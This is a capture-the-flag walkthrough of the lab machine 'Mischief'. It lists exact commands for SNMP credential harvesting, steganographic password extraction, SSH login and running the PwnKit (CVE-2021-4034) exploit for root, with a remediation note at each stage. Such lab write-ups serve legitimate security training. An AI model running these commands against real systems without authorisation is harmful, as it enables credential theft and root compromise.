← all walkthroughs

Mischief

Linux· Insane· Credential Access· Privilege Escalation
owned
2026-07-12
time to own
10m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A UDP scan of $TARGET uncovered SNMP on port 161. Walking the process table with the unauthenticated default community string 'public' exposed the full command line of a running Python HTTP server — including its Basic-auth credentials (loki:[REDACTED: recovered credential]) and the non-standard port it served (3366).

Logging into port 3366 with those credentials surfaced a JPEG image; extracting hidden content from that image with the first password as the steganographic passphrase yielded a second credential ([REDACTED: recovered credential]), which opened an SSH session as user loki and delivered the user flag. Post-foothold enumeration confirmed the host ran pkexec 0.105, unpatched against CVE-2021-4034 (PwnKit).

A glibc mismatch prevented running a locally-compiled exploit binary on the target, so the exploit source was transferred and compiled directly on the target using its own gcc, producing a root shell within seconds. The root flag was hidden outside /root/ at an unusual compiler-library path, requiring a full filesystem search to find.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export P="<a-value-you-captured-earlier>"
export V="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1ReconnaissanceNetwork service discovery (T1046)
Port scan revealed SNMP and a non-standard HTTP service
An initial TCP version scan and a parallel UDP top-100 scan of $TARGET identified four services: SSH (22/tcp), Apache (80/tcp), SNMP (161/udp), and a Python HTTP server (3366/tcp). The presence of SNMP with no visible authentication controls made it the highest-priority target for unauthenticated data extraction before any web content was touched.
Nmap reported 161/udp open snmp and 3366/tcp open http Python BaseHTTPServer.
Exact commands 2
UDP top-100 scan — discovers SNMP on 161/udp.
nmap -sU --top-ports 100 -Pn -T4 $TARGET
Version-fingerprint the TCP services.
nmap -sV -p 22,80,3366 -Pn -T4 $TARGET
2Credential AccessSNMP MIB process-table credential leakage (T1602.001)
Dumped plaintext HTTP credentials from SNMP process-argument table
Using the unauthenticated default community string 'public', I walked the MIB-II process-argument table (OID .1.3.6.1.2.1.25.4.2.1.5). The full argv of the running SimpleHTTPAuthServer process was returned in cleartext, exposing username 'loki', password '[REDACTED: recovered credential]', and the port number 3366. A separate walk of the IP-address table (OID .1.3.6.1.2.1.4.34) also surfaced a decimal-encoded IPv6 address for the host. Both pieces of information were obtained before a single authenticated request was made.
Snmpwalk of OID .1.3.6.1.2.1.25.4.2.1.5 returned the full SimpleHTTPAuthServer invocation including loki:[REDACTED: recovered credential] on port 3366.
Exact commands 3
Walk process-name table to identify running services.
snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.2
Walk process-argument table — exposes full command lines including embedded credentials.
snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.5
Walk IP-address table — yields the decimal-encoded IPv6 address dead:beef::a0de:adff:fe55:8939.
snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.4.34
FixDisable or harden SNMP and stop embedding credentials in process argumentsCritical
WeaknessThe SNMP service accepted queries from any host using the default 'public' community string, and had no access controls. Because a Python web server was launched with its credentials on the command line, those credentials were fully visible in the MIB process-argument table — readable by any unauthenticated network host that could reach UDP/161.
FixIf SNMP monitoring is not required, stop and disable the service (systemctl disable --now snmpd). If monitoring is required: (1) replace 'public' with a long random community string and restrict access to a dedicated monitoring IP in /etc/snmp/snmpd.conf using a com2sec directive; (2) migrate to SNMPv3 with authPriv (authentication + encryption); (3) never pass credentials as command-line arguments to long-running processes — use environment variables injected from a secrets manager, or a config file readable only by the service account, so credentials do not appear in the process table.
3EnumerationAuthenticated file retrieval from a non-standard internal service (T1083)
Authenticated to the hidden file server and retrieved a credential-bearing image
Using the SNMP-recovered credentials, I authenticated to the Python HTTP server on 3366/tcp. The server responded with an HTML 'Credentials' index page and served a single JPEG image, loki.jpg. Both the page and the image were downloaded for further analysis.
Curl -u 'loki:[REDACTED: recovered credential]' http://$TARGET:3366/ returned an index page; loki.jpg downloaded successfully.
Exact commands 2
Confirm authenticated access and enumerate available files.
curl -g -sS -i --max-time 10 -u 'loki:$PASSWORD2' http://$TARGET:3366/
Download the image for credential extraction.
curl -g -sS --max-time 10 -u 'loki:$PASSWORD2' -o loki.jpg http://$TARGET:3366/loki.jpg
4Credential AccessCredential extraction from steganographic image content (T1552.001)
Extracted a second SSH password concealed inside the JPEG via steganography
Metadata inspection and raw string extraction on loki.jpg pointed to hidden embedded content. Using the already-known credential as the steganographic passphrase, steghide extracted a file containing the second password: '[REDACTED: recovered credential]'. This password was specific to the loki SSH account on the target.
Steghide extract -sf loki.jpg -p '[REDACTED: recovered credential]' produced a file containing the string [REDACTED: recovered credential]
Exact commands 3
Inspect image metadata for embedded text or suspicious comments.
exiftool loki.jpg
Dump all printable strings from the raw file.
strings -a loki.jpg
Attempt steganographic extraction using the first credential as the passphrase.
steghide extract -sf loki.jpg -p '$PASSWORD2'
FixRemove credentials embedded in media files and enforce SSH key-only authenticationHigh
WeaknessA JPEG image served on an internal HTTP file server contained a user's SSH password embedded via steganography. Any party who obtained the first credential — by any means — could retrieve the image and extract the second password, enabling lateral movement to an SSH session.
FixNever store or distribute credentials inside binary or media files. Use a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) for all credential distribution and rotation. Audit all internally served files for embedded credentials. Disable password-based SSH authentication on all hosts (set PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config) and require key-pair authentication exclusively.
5Initial AccessValid account — SSH password authentication (T1078)
Logged in via SSH as loki and captured the user flag
The password recovered from the image authenticated an SSH session as loki (uid=1000) on $TARGET. The user flag was immediately readable at /home/loki/user.txt, confirming full user-level access.
Sshpass -p '[REDACTED: recovered credential]' ssh loki@$TARGET returned uid=1000(loki); /home/loki/user.txt readable.
Exact commands 2
Open an interactive SSH session as loki.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null loki@$TARGET
Confirm account context and read the user flag (value: <user.txt>).
id && cat /home/loki/user.txt
6Privilege EscalationCVE-2021-4034 PwnKit — pkexec local privilege escalation (T1068)
Exploited unpatched pkexec (CVE-2021-4034 / PwnKit) to become root
Post-foothold enumeration identified pkexec version 0.105 from policykit-1 package 0.105-20 — unpatched against CVE-2021-4034 (PwnKit), a local privilege escalation that exploits an out-of-bounds memory write in pkexec's argument-parsing code to execute arbitrary code as root. My build environment had a newer glibc than the target's Ubuntu 18.04, so the exploit C source (pwnkit.c and pwnkitlib.c) was transferred to the target and compiled in-place with the target's own gcc, avoiding the GLIBC_2.34 mismatch. Running the resulting binary returned a root shell in seconds.
Dpkg-query showed policykit-1 0.105-20; pkexec --version returned 0.105; on-target gcc build and execution of pwnkit-exploit returned uid=0(root).
Exact commands 3
Confirm vulnerable pkexec version on the target.
dpkg-query -W -f='${Package} ${Version}\n' policykit-1 && /usr/bin/pkexec --version
Transfer PwnKit exploit source to compile on-target and avoid glibc version mismatch.
scp pwnkit.c pwnkitlib.c loki@$TARGET:/tmp/pwk/
Compile and run the exploit on the target; expected result: uid=0(root).
ssh -o StrictHostKeyChecking=no loki@$TARGET 'mkdir -p /tmp/pwk/pwnkit && cd /tmp/pwk && gcc pwnkit.c -o pwnkit-exploit && gcc -shared -fPIC pwnkitlib.c -o pwnkit/pwnkit.so && ./pwnkit-exploit'
FixPatch policykit-1 to eliminate CVE-2021-4034 (PwnKit) local privilege escalationCritical
WeaknessThe host ran policykit-1 0.105-20, which contains an out-of-bounds memory write in pkexec's argument-parsing code. Any authenticated local user — regardless of privilege level — can exploit this to execute arbitrary code as root with no additional prerequisites.
FixApply the vendor security update immediately. On Ubuntu 18.04 (Bionic): apt-get update && apt-get install --only-upgrade policykit-1. Verify the installed version is at least 0.105-20ubuntu0.18.04.6. If an emergency patch window is required, apply the temporary mitigation of removing the setuid bit (chmod 0755 /usr/bin/pkexec) until the package can be updated. Enable unattended-upgrades (apt-get install unattended-upgrades) and configure it to apply security updates automatically so critical local privilege escalation vulnerabilities are not left unpatched on production systems.
7Post-ExploitationSensitive file discovery on a fully compromised host (T1083)
Located the root flag hidden at a non-standard filesystem path
The conventional /root/root.txt contained only a decoy message ('The flag is not here, get a shell to find it!'). A recursive filesystem search from the root shell found the real root flag at /usr/lib/gcc/x86_64-linux-gnu/7/root.txt — an unusual path inside a compiler support directory, designed to require an actual interactive root shell rather than a file-read shortcut.
Find / -maxdepth 6 -name root.txt 2>/dev/null returned both /root/root.txt (decoy) and /usr/lib/gcc/x86_64-linux-gnu/7/root.txt (real flag).
Exact commands 3
Reads the decoy message — confirms the real flag is elsewhere.
cat /root/root.txt
Search the full filesystem for all root.txt files.
find / -maxdepth 6 -name root.txt 2>/dev/null
Read the real root flag (value: <root.txt>).
cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt